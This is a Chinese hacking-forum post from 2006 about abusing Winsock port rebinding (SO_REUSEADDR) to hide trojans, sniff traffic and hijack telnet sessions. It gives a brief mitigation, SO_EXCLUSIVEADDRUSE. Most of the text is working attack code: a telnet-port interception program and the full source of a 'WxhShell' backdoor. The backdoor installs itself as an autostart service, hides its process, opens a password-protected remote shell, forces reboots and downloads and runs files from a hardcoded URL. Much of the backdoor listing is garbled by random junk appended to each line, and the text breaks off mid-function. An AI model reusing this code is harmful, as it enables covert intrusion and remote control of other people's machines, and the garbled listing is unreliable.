[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; HU}7zK2
if(chr[0]==0xd || chr[0]==0xa) { _ Yx]_Y9I
pwd=0; YTX,cj#D^&
break; kg~mgMR+w
} L9\1+rq
i++; FLCexlv^
} ,j}6? Q
5C*Pd Wpl
// 如果是非法用户，关闭 socket t#/YN.@r
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZrxD`1L
} P[#e/qnXu|
b#Z{{eLny
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V>%rv'G8
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V _/%b)*
e*(!^Q1
while(1) { }DEg-j,F
B5VKs,g
ZeroMemory(cmd,KEY_BUFF); ygS;$2m%2
y$F'(b|)
// 自动支持客户端 telnet标准 dA`IEQJL
j=0; swoQ'
while(j<KEY_BUFF) { BB$>h}
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k>Vci{v
cmd[j]=chr[0]; kr5">"7
if(chr[0]==0xa || chr[0]==0xd) { VimE@Hz
cmd[j]=0; He/8=$c%
break; +I:Unp
} ;Ax }KN7
j++; C12Fl
} Nw/ ku
eKLZt%=
// 下载文件 `$<.pOm
if(strstr(cmd,"http://")) { |'8Nh
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Nk 8B_{
if(DownloadFile(cmd,wsh)) O67W&nz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mPK:R^RjG&
else o>i4CCU+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B6As,)RjD:
} ]G=L=D^cK
else { W$;,CU.v
J+DDh=%
switch(cmd[0]) { V`d,qn)i
6NuD4Ga
// 帮助 S_4?K)n #
case '?': { ,~$p,ALwN7
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~'H]jN
break; n;C :0
} _|\~q[ep
// 安装 GPv1fearl
case 'i': { 82qoGSD.
if(Install()) YnS#H"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wn, KY$/
else DE8n+Rm
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #PW9:_BE
break; oUr66a/[U
} 9@:2wR |
// 卸载 Jk11fn;\>
case 'r': { kGS;sB
if(Uninstall()) m%?pf2%I#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xY8$I6
else t]g-CW3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o5O#vW2Il&
break; (k)v!O-
} ww3-^v
// 显示 wxhshell 所在路径 9Cp-qA%t
case 'p': { ;_I8^?d
char svExeFile[MAX_PATH]; S-b/S5
strcpy(svExeFile,"\n\r"); EIAc@$4
strcat(svExeFile,ExeFile); TR`U-= jH,
send(wsh,svExeFile,strlen(svExeFile),0); 8)3*6+D
break; -%CP@dAk
} tBWrL{xLe
// 重启 P[ck84F/
case 'b': { P{jbl!UD7
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {.|CdqwY
if(Boot(REBOOT)) ~2N"#b&J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _pG-qK
else { RFcv^Xf
closesocket(wsh); fk>aqm7D!
ExitThread(0); IGQFtO/x
} RnE4<Cy
break; v^NIx q}U
} gp?uHKsM
// 关机 6ex/TySM
case 'd': { : /N0!&7
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9};8?mucr
if(Boot(SHUTDOWN)) yu|8_<bq
send(wsh,msg_ws_err,strlen(msg_ws_err),0); FUb\e-Q=
else { +Q)XH>jh
closesocket(wsh); !zpRrx_
ExitThread(0); 'ya{9EdlT
} yYYSeH
break; ^*Q ?]N
} 7"x;~X
// 获取shell )m)-o4c
case 's': { xml7Uarc
CmdShell(wsh); |F[+k e
closesocket(wsh); -20bPiM$A
ExitThread(0); hEH?[>9
break; s`8= 3]w
} #L;dI@7C
// 退出 9T9!kb
case 'x': { 5PJhEB
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }C?'BRX
CloseIt(wsh); 4f@rv^f(X
break; n'LrQU
} gPO}d
// 离开 ((;!<5-`s
case 'q': { Eyqa?$R
send(wsh,msg_ws_end,strlen(msg_ws_end),0); @n /nH?L
closesocket(wsh); 'sKk"bi;0
WSACleanup(); $( kF#
exit(1); "|q&ea rc
break; #q$HQ&k
} ZJJY8k `
} hWLA<wdb
} lgy<?LI\
!i}w~U<
// 提示信息 8/cX]J
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5Ln,{vsv
} G~[x 3L'
} 1n8/r}q'H
&wawr2)}
return; Q"d^_z]K
} &PHTpkaam
Bm<`n;m
// shell模块句柄 ltSU fI
int CmdShell(SOCKET sock) ,w4(kcg%iQ
{ : *#-%0
STARTUPINFO si; o5PO=AN
ZeroMemory(&si,sizeof(si)); rXP,\ ]r+
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AV]2euyn
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; my1@41 H
PROCESS_INFORMATION ProcessInfo; l|[N42+
char cmdline[]="cmd"; *:7rdzn
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cqkV9f8Ro
return 0; V2EUW!gn 2
} !9e=_mY
~G&dqw/.-U
// 自身启动模式 `/+>a8
int StartFromService(void) \*?~Yj#
{ Ic<2QknmP
typedef struct Wvh#:Z
{ _4~+{l+
DWORD ExitStatus; Q3~H{)[Kq
DWORD PebBaseAddress; Nh|uO?&C6
DWORD AffinityMask; ; DR$iH-F
DWORD BasePriority; t{9GVLZ
ULONG UniqueProcessId; \V63qg[
ULONG InheritedFromUniqueProcessId; g:@#@1rB6
} PROCESS_BASIC_INFORMATION; oZgjQM$YP
_jVN&\A]mC
PROCNTQSIP NtQueryInformationProcess; ^{`exCwMx
.~;\eW[
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?l{nk5,?-Y
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5C]x!>kX
$a]`nLUa
HANDLE hProcess; !;A\.~-!G
PROCESS_BASIC_INFORMATION pbi; %sP*=5?vA
q?yVR3]M
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H*R"ntI?w
if(NULL == hInst ) return 0; }($5k]]clP
IEi^kJflU
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uGGt\.$]s
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #trK^(
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (?c"$|^J
Btn?N
if (!NtQueryInformationProcess) return 0; 7n<{tM
!Ai@$tl[S
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j,eo2HaL
if(!hProcess) return 0; Zu[su>\
_V6ukd"B~
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b8UO,fY q
wn%A4-%{
CloseHandle(hProcess); p6V0`5@t
$6 f3F?y7
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1GcE)e!>
if(hProcess==NULL) return 0; TD0 B%
/([kh~a
HMODULE hMod; ;)*eo_tQ
char procName[255]; %tGO?JMkd
unsigned long cbNeeded; ^yp{32
N4!O.POP
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ti5-6%~&
6H$FhJF
CloseHandle(hProcess); -Q*gW2KmV
oMa6(3T?E
if(strstr(procName,"services")) return 1; // 以服务启动 I\ob7X'Xu!
4D4j7
return 0; // 注册表启动 Y:[u1~a
} u*`GiZAO
8lrpve
// 主模块 #X1ND
int StartWxhshell(LPSTR lpCmdLine) |Rk@hzM2S
{ 0GeTSFj
SOCKET wsl; ZFL~;_r
BOOL val=TRUE; )y$(AJx$
int port=0; #"~<HG}bR/
struct sockaddr_in door; y<Ot)fa$
F]&*ow
if(wscfg.ws_autoins) Install(); +mn[5Y}:
g($2Dk_F2
port=atoi(lpCmdLine); NBGH_6DROw
e\L8oOk#r
if(port<=0) port=wscfg.ws_port; z Iu'[U
?e 4/p
WSADATA data; }|=|s f
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rx|pOz,:
4V`G,W4^J
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 5.GR1kl6
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'H;*W|:-]
door.sin_family = AF_INET; evmeqQG=
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Avb\{)s+
door.sin_port = htons(port); G 3ptx! D
JWxwJex
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gPPkT"
closesocket(wsl); RA L~!"W
return 1; @q)d
} P&Vv/D
j8sH|{H!Nq
if(listen(wsl,2) == INVALID_SOCKET) { wibNQ`4k
closesocket(wsl); cvL;3jRo
return 1; s~X%Y<9l
} =I_'.b
Wxhshell(wsl); cr;da)
WSACleanup(); tCt#%7J;a
eaU
return 0; p`qgrI`
?:0Jav
} sYA1\YIii
BI@[\aRLQ
// 以NT服务方式启动 $I?"lky
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >A"(KSNL
{ pQB."[n
DWORD status = 0; y6BAH
DWORD specificError = 0xfffffff; V0mn4sfs
Ny/MJ#Lq
serviceStatus.dwServiceType = SERVICE_WIN32; Mi_$">1-W
serviceStatus.dwCurrentState = SERVICE_START_PENDING; )^hbsMhO
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?S=mybp
serviceStatus.dwWin32ExitCode = 0; (TM,V!G+U~
serviceStatus.dwServiceSpecificExitCode = 0; C0Z=~Q%
serviceStatus.dwCheckPoint = 0; [:*)XeRK
serviceStatus.dwWaitHint = 0; _+MJ%'>S
GM<9p_ B
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _Fg5A7or
if (hServiceStatusHandle==0) return; Y'X%Aw;`
hDGF7
status = GetLastError(); >H,*H;6
if (status!=NO_ERROR) owv[M6lbD
{ ^-'fW7[m
serviceStatus.dwCurrentState = SERVICE_STOPPED; wMN]~|z>
serviceStatus.dwCheckPoint = 0; &K,i f
serviceStatus.dwWaitHint = 0; R4d=S4i
serviceStatus.dwWin32ExitCode = status; Tlr v={
serviceStatus.dwServiceSpecificExitCode = specificError; Xch~ 1K
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .=; ;
return; )V9bI(v
} lp8v0e4
dj%!I:Q>u
serviceStatus.dwCurrentState = SERVICE_RUNNING; W2!+z{:m
serviceStatus.dwCheckPoint = 0; A3*!"3nU
serviceStatus.dwWaitHint = 0; X@FN|Rdh
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8 Fbo3
} hi[pVk~B)
5!9zI+S|=`
// 处理NT服务事件，比如：启动、停止 Flb&B1
VOID WINAPI NTServiceHandler(DWORD fdwControl) xgtR6E^k
{ EoDA]6?Lj
switch(fdwControl) -UT}/:a
{ O#r%>;3*
case SERVICE_CONTROL_STOP: &)<)^.@3G^
serviceStatus.dwWin32ExitCode = 0; &%Tj/Qx
serviceStatus.dwCurrentState = SERVICE_STOPPED; V(*(F7+
serviceStatus.dwCheckPoint = 0; cB&:z)i4
serviceStatus.dwWaitHint = 0; zbPqYhJzA
{ RD&PDXT4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z3!`J&
} apxph2yvS
return; u]@['7
case SERVICE_CONTROL_PAUSE: wz8yD8M
serviceStatus.dwCurrentState = SERVICE_PAUSED; ^<AwG=
break; +"VP-s0
case SERVICE_CONTROL_CONTINUE: +"@ .8m
serviceStatus.dwCurrentState = SERVICE_RUNNING; (7*}-Uy[C
break; =tY T8Q;al
case SERVICE_CONTROL_INTERROGATE: |Q>IrT
break; 9&NgtZpt
}; ~Cjn7
SetServiceStatus(hServiceStatusHandle, &serviceStatus); a[TMDU;(/4
} T[j,UkgGo
u#SWj,X
// 标准应用程序主函数 k VQ\1!
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Aiea\jBv
{ Wm5dk9&x
rVsJ`+L
// 获取操作系统版本 <54 S
OsIsNt=GetOsVer(); Rx}Gz$
GetModuleFileName(NULL,ExeFile,MAX_PATH); vr^qWn
,Y48[_ymm
// 从命令行安装 Du){rVY^d
if(strpbrk(lpCmdLine,"iI")) Install(); sx<%2
<0?W{3NqI
// 下载执行文件 DlNX 3
if(wscfg.ws_downexe) { igAtRX%Qx
